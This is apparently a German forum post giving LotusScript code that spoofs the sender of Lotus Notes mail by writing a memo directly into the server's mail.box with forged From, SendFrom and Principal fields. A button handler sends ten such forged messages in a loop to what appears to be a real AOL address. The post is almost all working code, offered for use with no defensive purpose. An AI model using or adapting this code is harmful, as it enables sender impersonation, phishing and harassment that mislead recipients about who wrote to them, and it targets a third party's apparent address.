es geht mit "spoofing"
hier ist der code ( da ist es dann egal, wer den Agenten unterzeichnet hat, wichtig sind nur die Parameter, die an die Funktion SpoofMessage übergeben werden )
Dim current As NotesDatabase
Dim maildoc As NotesDocument
Dim rtitem As NotesRichTextItem
Sub Click(Source As Button)
Dim dummy As Variant
Dim i As Integer
For i = 1 To 10 ' liebe Kinder, bitte nicht zuhause nachmachen !!
dummy = SpoofMessage("Kick Ass", "Klinge2202@aol.com", "Grüsse aus Oberhausen", "Bitte beenden sie umgehend die zusendung ihrer GRÜSSE aus Oberhausen")
Next i
End Sub
Function SpoofMessage( Byval sendas As String, Byval sendto As String, subject As String, message As String )
Dim session As New NotesSession
Dim mailbox As New NotesDatabase("","")
' get handle to mail.box on the users current mail server
Set current = session.CurrentDatabase
Call mailbox.Open( current.server, "mail.box" )
' Create a new document in the severs mail box
Set maildoc = mailbox.CreateDocument
maildoc.Form = "Memo"
maildoc.From = sendas
maildoc.SendFrom = sendas
maildoc.SendTo = sendto
maildoc.Recipients = sendto
maildoc.Subject = subject
Set rtitem = maildoc.CreateRichTextItem( "Body" )
Call rtitem.AppendText( message )
maildoc.PostedDate = Now()
maildoc.ComposedDate = Now()
maildoc.DeliveredDate = Now()
maildoc.Principal = sendas
maildoc.EncryptOnSend = False
Call maildoc.Save( True, False )
End Function
